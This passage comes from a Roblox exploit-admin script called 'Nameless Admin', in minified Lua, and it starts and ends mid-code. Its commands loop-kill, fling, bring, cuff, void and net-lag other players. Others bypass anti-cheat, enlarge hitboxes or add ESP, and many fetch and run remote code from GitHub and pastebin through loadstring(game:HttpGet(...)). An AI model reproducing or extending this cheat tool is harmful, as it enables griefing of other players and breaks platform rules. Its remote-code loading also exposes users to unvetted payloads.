loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Bring%20All'))() until Loopbring == false else Loopbring = true repeat wait() wait(0.15) local Target = Username local Character = Player.Character local PlayerGui = Player:waitForChild("PlayerGui") local Backpack = Player:waitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end local TPlayer = getPlr(Target) local TCharacter = TPlayer and TPlayer.Character local THumanoid = TCharacter and TCharacter:FindFirstChildWhichIsA("Humanoid") or false local TRootPart = TCharacter and THumanoid and THumanoid.RootPart or false if not THumanoid or not TRootPart then return end Character.Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() Player.Character.HumanoidRootPart.CFrame = CF until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = CF wait() end wait(.3) Player.Character:SetPrimaryPartCFrame(CF) if Humanoid.RigType == Enum.HumanoidRigType.R6 then Character["Right Arm"].RightGrip:Destroy() else Character["RightHand"].RightGrip:Destroy() Character["RightHand"].RightGripAttachment:Destroy() end wait(4) CF = Player.Character.HumanoidRootPart.CFrame player.CharacterAdded:wait(1):waitForChild("HumanoidRootPart").CFrame = CF wait(2) until Loopbring == false end end) cmd.add({"unloopbring"}, {"unloopbring", "Stops loopbringing a player"}, function() Loopbring = false end) cmd.add({"unloopvoid", "loopv"}, {"unloopvoid (unloopv)", "Unloopingly voiding a player"}, function() Loopvoid = false end) cmd.add({"looptornado"}, {"looptornado ", "Loop tornados a player endlessly"}, function(...) Username = (...) Looptornado = true repeat wait() wait(0.15) local RunService = game:FindService("RunService") if not getPlr(Target) then end repeat RunService.Heartbeat:wait() until getPlr(Target).Character and getPlr(Target).Character:FindFirstChildOfClass("Humanoid").Health > 0 or not getPlr(Target) local Player = game:FindService("Players").LocalPlayer local Character = Player.Character local Humanoid local HumanoidRootPart local Torso local Tool local Handle local TPlayer = getPlr(Target) local TCharacter = TPlayer.Character local THumanoid local THumanoidRootPart local TTorso if Character:FindFirstChild("HumanoidRootPart") then HumanoidRootPart = Character.HumanoidRootPart end if Character:FindFirstChild("Torso") then Torso = Character.Torso end if Character:FindFirstChildOfClass("Humanoid") then Humanoid = Character:FindFirstChildOfClass("Humanoid") end if Character:FindFirstChildOfClass("Tool") then Tool = Character:FindFirstChildOfClass("Tool") elseif Player.Backpack:FindFirstChildOfClass("Tool") and Humanoid then Tool = Player.Backpack:FindFirstChildOfClass("Tool") Humanoid:EquipTool(Player.Backpack:FindFirstChildOfClass("Tool")) end if Tool and Tool:FindFirstChild("Handle") then Handle = Tool.Handle end if TCharacter:FindFirstChild("HumanoidRootPart") then THumanoidRootPart = TCharacter.HumanoidRootPart end if TCharacter:FindFirstChild("Torso") then TTorso = TCharacter.Torso elseif TCharacter:FindFirstChild("UpperTorso") then TTorso = TCharacter.UpperTorso end if TCharacter:FindFirstChildOfClass("Humanoid") then THumanoid = Character:FindFirstChildOfClass("Humanoid") end if not HumanoidRootPart then task.wait(1) if Torso then task.wait(1) else return end end if Humanoid.RigType == Enum.HumanoidRigType.R15 then Notify({ Description = "This command only works on R6"; Title = "Nameless Admin"; Duration = 7; }); end local fun = Instance.new("BodyAngularVelocity") fun.Name = "funfunfun" fun.MaxTorque = Vector3.new(0, math.huge, 0) fun.AngularVelocity = Vector3.new(0, 50, 0) fun.Parent = Player.Character.HumanoidRootPart Humanoid:Destroy() local NewHumanoid = Instance.new("Humanoid", Character) NewHumanoid:UnequipTools() NewHumanoid:EquipTool(Tool) Tool.Parent = workspace repeat Tool.Grip = CFrame.new() Tool.Grip = Handle.CFrame:ToObjectSpace(TTorso.CFrame):Inverse() firetouchinterest(Handle, TTorso, 0) firetouchinterest(Handle, TTorso, 1) RunService.Heartbeat:wait() until Tool.Parent ~= Character NewHumanoid.WalkSpeed = 30 until Looptornado == false end) cmd.add({"unlooptornado"}, {"unlooptornado", "Unloop tornadoes a player endlessly"}, function() Looptornado = false end) cmd.add({"loopcuff", "loopjail"}, {"loopcuff (loopjail)", "Loop cuffs a player endlessly"}, function(...) Username = (...) Loopcuff = true repeat wait() wait(0.15) local RunService = game:FindService("RunService") if not getPlr(Target) then end repeat RunService.Heartbeat:wait() until getPlr(Target).Character and getPlr(Target).Character:FindFirstChildOfClass("Humanoid").Health > 0 or not getPlr(Target) local Player = game:FindService("Players").LocalPlayer local Character = Player.Character local Humanoid local HumanoidRootPart local Torso local Tool local Handle local TPlayer = getPlr(Target) local TCharacter = TPlayer.Character local THumanoid local THumanoidRootPart local TTorso if Character:FindFirstChild("HumanoidRootPart") then HumanoidRootPart = Character.HumanoidRootPart end if Character:FindFirstChild("Torso") then Torso = Character.Torso end if Character:FindFirstChildOfClass("Humanoid") then Humanoid = Character:FindFirstChildOfClass("Humanoid") end if Character:FindFirstChildOfClass("Tool") then Tool = Character:FindFirstChildOfClass("Tool") elseif Player.Backpack:FindFirstChildOfClass("Tool") and Humanoid then Tool = Player.Backpack:FindFirstChildOfClass("Tool") Humanoid:EquipTool(Player.Backpack:FindFirstChildOfClass("Tool")) end if Tool and Tool:FindFirstChild("Handle") then Handle = Tool.Handle end if TCharacter:FindFirstChild("HumanoidRootPart") then THumanoidRootPart = TCharacter.HumanoidRootPart end if TCharacter:FindFirstChild("Torso") then TTorso = TCharacter.Torso elseif TCharacter:FindFirstChild("UpperTorso") then TTorso = TCharacter.UpperTorso end if TCharacter:FindFirstChildOfClass("Humanoid") then THumanoid = Character:FindFirstChildOfClass("Humanoid") end if not HumanoidRootPart then task.wait(1) if Torso then task.wait(1) else return end end if Humanoid.RigType == Enum.HumanoidRigType.R15 then Notify({ Description = "This command only works on R6"; Title = "Nameless Admin"; Duration = 7; }); end Humanoid:Destroy() local NewHumanoid = Instance.new("Humanoid", Character) NewHumanoid:UnequipTools() NewHumanoid:EquipTool(Tool) Tool.Parent = workspace repeat Tool.Grip = Handle.CFrame:ToObjectSpace(TTorso.CFrame):Inverse() wait(0.4) Tool.Grip = CFrame.new(0, -10, -5) firetouchinterest(Handle, TTorso, 0) firetouchinterest(Handle, TTorso, 1) RunService.Heartbeat:wait() until Tool.Parent ~= Character until Loopcuff == false end) cmd.add({"unloopcuff", "unloopjail"}, {"unloopcuff (unloopjail)", "Unloop cuffs a player endlessly"}, function(...) Loopcuff = false end) cmd.add({"loopstand"}, {"loopstand ", "Loop stands a player endlessly"}, function(...) Username = (...) Loopstand = true repeat wait() wait(0.15) local RunService = game:FindService("RunService") if not getPlr(Username) then end repeat RunService.Heartbeat:wait() until getPlr(Target).Character and getPlr(Target).Character:FindFirstChildOfClass("Humanoid").Health > 0 or not getPlr(Target) local Player = game:FindService("Players").LocalPlayer local Character = Player.Character local Humanoid local HumanoidRootPart local Torso local Tool local Handle local TPlayer = getPlr(Target) local TCharacter = TPlayer.Character local THumanoid local THumanoidRootPart local TTorso if Character:FindFirstChild("HumanoidRootPart") then HumanoidRootPart = Character.HumanoidRootPart end if Character:FindFirstChild("Torso") then Torso = Character.Torso end if Character:FindFirstChildOfClass("Humanoid") then Humanoid = Character:FindFirstChildOfClass("Humanoid") end if Character:FindFirstChildOfClass("Tool") then Tool = Character:FindFirstChildOfClass("Tool") elseif Player.Backpack:FindFirstChildOfClass("Tool") and Humanoid then Tool = Player.Backpack:FindFirstChildOfClass("Tool") Humanoid:EquipTool(Player.Backpack:FindFirstChildOfClass("Tool")) end if Tool and Tool:FindFirstChild("Handle") then Handle = Tool.Handle end if TCharacter:FindFirstChild("HumanoidRootPart") then THumanoidRootPart = TCharacter.HumanoidRootPart end if TCharacter:FindFirstChild("Torso") then TTorso = TCharacter.Torso elseif TCharacter:FindFirstChild("UpperTorso") then TTorso = TCharacter.UpperTorso end if TCharacter:FindFirstChildOfClass("Humanoid") then THumanoid = Character:FindFirstChildOfClass("Humanoid") end if not HumanoidRootPart then task.wait(1) if Torso then task.wait(1) else return end end if Humanoid.RigType == Enum.HumanoidRigType.R15 then Notify({ Description = "This command only works on R6"; Title = "Nameless Admin"; Duration = 7; }); end Humanoid:Destroy() local NewHumanoid = Instance.new("Humanoid", Character) NewHumanoid:UnequipTools() NewHumanoid:EquipTool(Tool) Tool.Parent = workspace repeat Tool.Grip = Handle.CFrame:ToObjectSpace(TTorso.CFrame):Inverse() wait(0.4) Tool.Grip = CFrame.new(0, 3, -5) firetouchinterest(Handle, TTorso, 0) firetouchinterest(Handle, TTorso, 1) RunService.Heartbeat:wait() until Tool.Parent ~= Character until Loopstand == false end) cmd.add({"unloopstand"}, {"unloopstand)", "Unloop stands a player endlessly"}, function(...) Loopstand = false end) cmd.add({"loopbanish", "looppunish", "loopjail"}, {"loopbanish (loopbanish, loopjail)", "Banishes a player endlessly"}, function(...) Username = (...) Loopbanish = true repeat wait() user = getPlr(Username) plr = user.name Target = plr Player.Character.Humanoid.Name = 1 local l = Player.Character["1"]:Clone() l.Parent = Player.Character l.Name = "Humanoid" task.wait() Player.Character["1"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Player.Character Player.Character.Animate.Disabled = true task.wait() Player.Character.Animate.Disabled = false for i, v in pairs(game:FindService "Players".LocalPlayer.Backpack:GetChildren()) do Player.Character.Humanoid:EquipTool(v) end task.wait() Player.Character.HumanoidRootPart.CFrame = Players[Target].Character.HumanoidRootPart.CFrame task.wait() Player.Character.HumanoidRootPart.CFrame = Players[Target].Character.HumanoidRootPart.CFrame task.wait(0.7) Player.Character.HumanoidRootPart.CFrame = CFrame.new(Vector3.new(-100000, 1000000000000000000000, -100000)) task.wait() task.wait(4) game.Players.LocalPlayer.Character.Humanoid.Health = 0 until Loopbanish == false end) cmd.add({"unloopbanish", "unloopjail", "unlooppunish"}, {"unloopbanish (unloopjail, unlooppunish)", "Stops loopingly punishing a player"}, function() Loopbanish = false end) cmd.add({"unloopfling"}, {"unloopfling", "Stops loop flinging a player"}, function(...) Loopvoid = false end) cmd.add({"loopkill"}, {"loopkill ", "Loop kills a player"}, function(...) local Username = (...) if Username == "all" or Username == "others" then Loopkill = true repeat wait() local player_table = game:GetService('Players'):GetPlayers() local toolsInBackpack = 0 local toolsEquipped = 0 local players = {} local tools = {} for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do toolsInBackpack = toolsInBackpack + 1 end for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if v.ClassName == "Tool" then toolsEquipped = toolsEquipped + 1 end end local total_tools = toolsInBackpack + toolsEquipped print(#player_table.." players") for i,v in next, player_table do if v.Character.Humanoid.Sit ~= true and v ~= game:GetService('Players').LocalPlayer and v.Character.Humanoid.Health ~= 0 then table.insert(players, v) end end local newHum = game.Players.LocalPlayer.Character.Humanoid:Clone() newHum.Parent = game.Players.LocalPlayer.Character game.Players.LocalPlayer.Character.Humanoid:Destroy() newHum:ChangeState(15) for i,v in next, game.Players.LocalPlayer.Backpack:GetChildren() do if v:IsA'Tool' then v.Parent = game.Players.LocalPlayer.Character end end wait(.1) for i,v in next, game.Players.LocalPlayer.Character:GetChildren() do if v:IsA'Tool' then table.insert(tools, v) end end local currentTargets = {} for i, tool in next, tools do tool.Handle.Massless = true tool.Grip = CFrame.new() tool.Grip = tool.Handle.CFrame:ToObjectSpace(players[i].Character.Head.CFrame):Inverse() end local players = {} plr.CharacterAdded:Wait() getChar():WaitForChild("HumanoidRootPart").CFrame = old wait(1) until Loopkill == false else Loopkill = true repeat wait() local function Kill() if not getPlr(Target) then end repeat game:FindService("RunService").Heartbeat:wait() until getPlr(Target).Character and getPlr(Target).Character:FindFirstChildOfClass("Humanoid") and getPlr(Target).Character:FindFirstChildOfClass("Humanoid").Health > 0 local Character local Humanoid local RootPart local Tool local Handle local TPlayer = getPlr(Target) local TCharacter = TPlayer.Character local THumanoid local TRootPart if Player.Character and Player.Character and Player.Character.Name == Player.Name then Character = Player.Character else end if Character:FindFirstChildOfClass("Humanoid") then Humanoid = Character:FindFirstChildOfClass("Humanoid") else end if Humanoid and Humanoid.RootPart then RootPart = Humanoid.RootPart else end if Character:FindFirstChildOfClass("Tool") then Tool = Character:FindFirstChildOfClass("Tool") elseif Player.Backpack:FindFirstChildOfClass("Tool") and Humanoid then Tool = Player.Backpack:FindFirstChildOfClass("Tool") Humanoid:EquipTool(Player.Backpack:FindFirstChildOfClass("Tool")) else end if Tool and Tool:FindFirstChild("Handle") then Handle = Tool.Handle else end --Target if TCharacter:FindFirstChildOfClass("Humanoid") then THumanoid = TCharacter:FindFirstChildOfClass("Humanoid") else end if THumanoid.RootPart then TRootPart = THumanoid.RootPart else end if THumanoid.Sit then end local OldCFrame = RootPart.CFrame Humanoid:Destroy() local NewHumanoid = Humanoid:Clone() NewHumanoid.Parent = Character NewHumanoid:UnequipTools() NewHumanoid:EquipTool(Tool) Tool.Parent = workspace local Timer = os.time() repeat if (TRootPart.CFrame.p - RootPart.CFrame.p).Magnitude < 500 then Tool.Grip = CFrame.new() Tool.Grip = Handle.CFrame:ToObjectSpace(TRootPart.CFrame):Inverse() end firetouchinterest(Handle,TRootPart,0) firetouchinterest(Handle,TRootPart,1) game:FindService("RunService").Heartbeat:wait() until Tool.Parent ~= Character or not TPlayer or not TRootPart or THumanoid.Health <= 0 or os.time() > Timer + .20 Player.Character = nil NewHumanoid.Health = 0 player.CharacterAdded:wait(1) repeat game:FindService("RunService").Heartbeat:wait() until Player.Character:FindFirstChild("HumanoidRootPart") Player.Character.HumanoidRootPart.CFrame = OldCFrame end if not LoopKill then Kill() else while LoopKill do Kill() end end wait(2) until Loopkill == false end end) cmd.add({"unloopkill"}, {"unloopkill", "Stops loop killing a player"}, function() Loopkill = false end) local netlagtab = {} cmd.add({"netlag"}, {"netlag ", "If the person is using netless, or any reanimation it glitches them"}, function(...) Username = (...) target = getPlr(Username) table.insert(netlagtab, game:GetService("RunService").Heartbeat:Connect(function() for i,v in pairs(target.Character:GetDescendants()) do if v:IsA("BasePart") then sethiddenproperty(v, "NetworkIsSleeping", true) end end end)) end) cmd.add({"unnetlag"}, {"unnetlag", "Stops netlegging"}, function() for i,v in pairs(netlagtab) do v:Disconnect() end end) cmd.add({"noprompt", "nopurchaseprompts"}, {"noprompt (nopurchaseprompts)", "remove the stupid purchase prompt"}, function() wait(); Notify({ Description = "Purchase prompts have been disabled"; Title = "Nameless Admin"; Duration = 5; }); game.CoreGui.PurchasePrompt.Enabled = false end) cmd.add({"prompt", "purchaseprompts"}, {"prompt (purchaseprompts)", "allows the stupid purchase prompt"}, function() wait(); Notify({ Description = "Purchase prompts have been enabled"; Title = "Nameless Admin"; Duration = 5; }); game.CoreGui.PurchasePrompt.Enabled = true end) cmd.add({"nameless"}, {"nameless", "Makes your hats visible but not your name or your body"}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/nameless"))() end) cmd.add({"wallwalk"}, {"wallwalk", "Makes you walk on walls"}, function() loadstring(game:HttpGet("https://pastebin.com/raw/s4FjP97j"))() end) cmd.add({"size"}, {"size", "Makes you big"}, function() local LocalPlayer = game:GetService("Players").LocalPlayer local Character = LocalPlayer.Character local Humanoid = Character:FindFirstChildOfClass("Humanoid") function rm() for i,v in pairs(Character:GetDescendants()) do if v:IsA("BasePart") then if v.Name == "Handle" or v.Name == "Head" then if Character.Head:FindFirstChild("OriginalSize") then Character.Head.OriginalSize:Destroy() end else for i,cav in pairs(v:GetDescendants()) do if cav:IsA("Attachment") then if cav:FindFirstChild("OriginalPosition") then cav.OriginalPosition:Destroy() end end end v:FindFirstChild("OriginalSize"):Destroy() if v:FindFirstChild("AvatarPartScaleType") then v:FindFirstChild("AvatarPartScaleType"):Destroy() end end end end end rm() wait(0.5) Humanoid:FindFirstChild("BodyProportionScale"):Destroy() wait(1) rm() wait(0.5) Humanoid:FindFirstChild("BodyHeightScale"):Destroy() wait(1) rm() wait(0.5) Humanoid:FindFirstChild("BodyWidthScale"):Destroy() wait(1) rm() wait(0.5) Humanoid:FindFirstChild("BodyDepthScale"):Destroy() wait(1) rm() wait(0.5) Humanoid:FindFirstChild("HeadScale"):Destroy() wait(1) end) cmd.add({"holdparts", "hp", "grabparts"}, {"holdparts (hpr, grabparts)", "Holds any unanchored part press ctrl + click"}, function() wait(); Notify({ Description = "Hold parts loaded, ctrl + click on a part"; Title = "Nameless Admin"; Duration = 5; }); -- made by joshclark756#7155 local mouse = game.Players.LocalPlayer:GetMouse() local uis = game:GetService("UserInputService") -- Connect mouse.Button1Down:Connect(function() -- Check for Target & Left Shift if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then local npc = mouse.target local PlayerCharacter = game:GetService("Players").LocalPlayer.Character local PlayerRootPart = PlayerCharacter.HumanoidRootPart local A0 = Instance.new("Attachment") local AP = Instance.new("AlignPosition") local AO = Instance.new("AlignOrientation") local A1 = Instance.new("Attachment") for _, v in pairs(npc:GetDescendants()) do if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then game:GetService("RunService").Stepped:Connect(function() v.CanCollide = false end) end end for _, v in pairs(PlayerCharacter:GetDescendants()) do if v:IsA("BasePart") then if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then end end end PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0) A0.Parent = npc AP.Parent = npc AO.Parent = npc AP.Responsiveness = 200 AP.MaxForce = math.huge AO.MaxTorque = math.huge AO.Responsiveness = 200 AP.Attachment0 = A0 AP.Attachment1 = A1 AO.Attachment1 = A1 AO.Attachment0 = A0 A1.Parent = PlayerCharacter:FindFirstChild("Right Arm") end end) wait(0.2) -- made by joshclark756#7155 local mouse = game.Players.LocalPlayer:GetMouse() local uis = game:GetService("UserInputService") -- Connect mouse.Button1Down:Connect(function() -- Check for Target & Left Shift if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then local npc = mouse.target local PlayerCharacter = game:GetService("Players").LocalPlayer.Character local PlayerRootPart = PlayerCharacter.HumanoidRootPart local A0 = Instance.new("Attachment") local AP = Instance.new("AlignPosition") local AO = Instance.new("AlignOrientation") local A1 = Instance.new("Attachment") for _, v in pairs(npc:GetDescendants()) do if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then game:GetService("RunService").Stepped:Connect(function() v.CanCollide = false end) end end for _, v in pairs(PlayerCharacter:GetDescendants()) do if v:IsA("BasePart") then if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then end end end PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0) A0.Parent = npc AP.Parent = npc AO.Parent = npc AP.Responsiveness = 200 AP.MaxForce = math.huge AO.MaxTorque = math.huge AO.Responsiveness = 200 AP.Attachment0 = A0 AP.Attachment1 = A1 AO.Attachment1 = A1 AO.Attachment0 = A0 A1.Parent = PlayerCharacter.RightHand end end) end) local hiddenGUIS = {} cmd.add({"hideguis"}, {"hideguis", "Hides guis"}, function() function FindInTable(tbl,val) if tbl == nil then return false end for _,v in pairs(tbl) do if v == val then return true end end return false end for i,v in pairs(game.Players.LocalPlayer:FindFirstChildWhichIsA("PlayerGui"):GetDescendants()) do if (v:IsA("Frame") or v:IsA("ImageLabel") or v:IsA("ScrollingFrame")) and v.Visible then v.Visible = false if not FindInTable(hiddenGUIS,v) then table.insert(hiddenGUIS,v) end end end end) cmd.add({"showguis"}, {"showguis", "Show guis that were hidden using hideguis"}, function() for i,v in pairs(hiddenGUIS) do v.Visible = true end hiddenGUIS = {} end) cmd.add({"spin"}, {"spin {amount}", "Makes your character spin as fast as you want"}, function(...) wait(); Notify({ Description = "Spinning..."; Title = "Nameless Admin"; Duration = 5; }); function getRoot(char) local rootPart = char:FindFirstChild('HumanoidRootPart') or char:FindFirstChild('Torso') or char:FindFirstChild('UpperTorso') return rootPart end local spinSpeed = (...) for i,v in pairs(getRoot(game.Players.LocalPlayer.Character):GetChildren()) do if v.Name == "Spinning" then v:Destroy() end end local Spin = Instance.new("BodyAngularVelocity") Spin.Name = "Spinning" Spin.Parent = getRoot(game.Players.LocalPlayer.Character) Spin.MaxTorque = Vector3.new(0, math.huge, 0) Spin.AngularVelocity = Vector3.new(0,spinSpeed,0) end) cmd.add({"unspin"}, {"unspin", "Makes your character unspin"}, function() wait(); Notify({ Description = "Spin disabled"; Title = "Nameless Admin"; Duration = 5; }); function getRoot(char) local rootPart = char:FindFirstChild('HumanoidRootPart') or char:FindFirstChild('Torso') or char:FindFirstChild('UpperTorso') return rootPart end for i,v in pairs(getRoot(game.Players.LocalPlayer.Character):GetChildren()) do if v.Name == "Spinning" then v:Destroy() end end end) cmd.add({"notepad"}, {"notepad", "notepad for making scripts / etc"}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/NamelessAdmin/main/Notepad"))() end) cmd.add({"rc7"}, {"rc7", "RC7 Internal UI"}, function() loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/rc7"))() end) cmd.add({"scriptviewer", "viewscripts"}, {"scriptviewer (viewscripts)", "Can view scripts made by 0866"}, function() loadstring(game:HttpGet("https://pastebin.com/raw/dva01xpE", true))() end) cmd.add({"hidename", "hname"}, {"hidename", "Hides your name only works on billboard uis"}, function() for _,item in pairs(workspace[game.Players.LocalPlayer.Name].Head:GetChildren()) do if item:IsA('BillboardGui') then item:Remove() end end wait(0.2) wait(); Notify({ Description = "Name has been hidden, this only works on billboard guis / custom name fonts"; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"hydroxide"}, {"hydroxide", "executes hydroxide"}, function() local owner = "Upbolt" local branch = "revision" local function webImport(file) return loadstring(game:HttpGetAsync(("https://raw.githubusercontent.com/%s/Hydroxide/%s/%s.lua"):format(owner, branch, file)), file .. '.lua')() end webImport("init") webImport("ui/main") end) cmd.add({"remotespy", "simplespy"}, {"remotespy (simplespy)", "executes simplespy v3"}, function() loadstring(game:HttpGet("https://github.com/exxtremestuffs/SimpleSpySource/raw/master/SimpleSpy.lua"))() end) cmd.add({"uanograv", "unanchorednograv", "unanchorednogravity"}, {"uanograv (unanchorednograv)", "Makes unanchored parts have 0 gravity"}, function() wait(); Notify({ Description = "Made unanchored parts have no gravity"; Title = "Nameless Admin"; Duration = 5; }); loadstring(game:HttpGet("https://pastebin.com/raw/MHdBcJQL", true))() end) cmd.add({"fireclickdetectors", "fcd"}, {"fireclickdetectors (fcd)", "Fires every click detector that's in workspace"}, function() local ccamount = 0 for i,v in pairs(game:GetDescendants()) do if v:IsA("ClickDetector") then ccamount = ccamount + 1 fireclickdetector(v) end end wait(); Notify({ Description = "Fired " .. ccamount .. " amount of click detectors"; Title = "Nameless Admin"; Duration = 7; }); end) cmd.add({"tweengotocampos", "tweentocampos", "tweentcp"}, {"tweengotocampos (tweentocampos, tweentcp)", "Another version of goto camera position but bypassing more anti-cheats"}, function(...) local player = game.Players.LocalPlayer local UserInputService = game:GetService("UserInputService") local TweenService = game:GetService("TweenService") -- function to teleport the player to the camera's position using tweening local function teleportPlayer() local character = player.Character or player.CharacterAdded:wait(1) local camera = game.Workspace.CurrentCamera local cameraPosition = camera.CFrame.Position -- create a new tween that moves the player's primary part to the camera position local tween = TweenService:Create(character.PrimaryPart, TweenInfo.new(2), { CFrame = CFrame.new(cameraPosition) }) tween:Play() end local camera = game.Workspace.CurrentCamera repeat wait() until camera.CFrame ~= CFrame.new() teleportPlayer() end) cmd.add({"gotopart", "topart"}, {"gotopart {partname} (topart)", "Makes you teleport to a part you want"}, function(...) local parts = game.Workspace:GetChildren() local targetParts = {} for i, child in pairs(parts) do if child.Name == (...) then table.insert(targetParts, child) end end local index = 1 game:GetService("RunService").Stepped:Connect(function() if targetParts[index] then game.Players.LocalPlayer.Character:MoveTo(targetParts[index].Position) index = index + 1 wait(0.4) end end) end) cmd.add({"swim"}, {"swim {speed}", "Swim in the air"}, function(...) speaker = game.Players.LocalPlayer game.Workspace.Gravity = 0 speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,false) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false) speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming) game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = (...) if (...) == nil then game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16 end end) cmd.add({"unswim"}, {"unswim", "Stops the swim script"}, function(...) speaker = game.Players.LocalPlayer game.Workspace.Gravity = 168 speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,true) speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,true) speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics) game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = 16 end) cmd.add({"esppart", "partesp"}, {"esppart {partname} (partesp)", "Makes you be able to see any part"}, function(...) local parts = game.Workspace:GetChildren() local targetParts = {} for i, child in pairs(parts) do if child.Name == (...) then table.insert(targetParts, child) end end for i, part in ipairs(targetParts) do -- Create a new BoxHandleAdornment local adornment = Instance.new("BoxHandleAdornment") adornment.Adornee = part adornment.ZIndex = 5 adornment.AlwaysOnTop = true adornment.Transparency = 0.5 adornment.Color3 = Color3.new(1, 0, 0) adornment.Parent = part.Parent end end) cmd.add({"unesppart", "unpartesp"}, {"unesppart (unpartesp)", "Removes the esp from the parts"}, function(...) local parts = game.Workspace:GetChildren() for i, part in ipairs(parts) do if part:IsA("BoxHandleAdornment") then part:Destroy() end end end) cmd.add({"viewpart", "viewp"}, {"viewpart {partname} (vpart)", "Views a part"}, function(...) local parts = game.Workspace:GetChildren() local partList = {} for i, child in pairs(parts) do if child.Name == (...) then table.insert(partList, child) end end local camera = game.Workspace.CurrentCamera camera.CameraType = "Scriptable" local index = 1 while true do camera.CoordinateFrame = partList[index].CFrame index = index + 1 if index > #partList then index = 1 end wait(0.7) end end) cmd.add({"unviewpart", "unviewp"}, {"unviewpart (unviewp)", "Unviews the part"}, function() local camera = game.Workspace.CurrentCamera camera.CameraType = "Custom" wait(0.2) local workspace = game.Workspace Players = game:GetService("Players") local speaker = Players.LocalPlayer workspace.CurrentCamera:remove() wait(.1) workspace.CurrentCamera.CameraSubject = speaker.Character:FindFirstChildWhichIsA('Humanoid') workspace.CurrentCamera.CameraType = "Custom" speaker.CameraMinZoomDistance = 0.5 speaker.CameraMaxZoomDistance = 400 speaker.CameraMode = "Classic" speaker.Character.Head.Anchored = false end) cmd.add({"hitbox", "hbox"}, {"hitbox {amount}", "Makes everyones hitbox as much as you want"}, function(...) wait(); Notify({ Description = "Hitbox changed"; Title = "Nameless Admin"; Duration = 5; }); 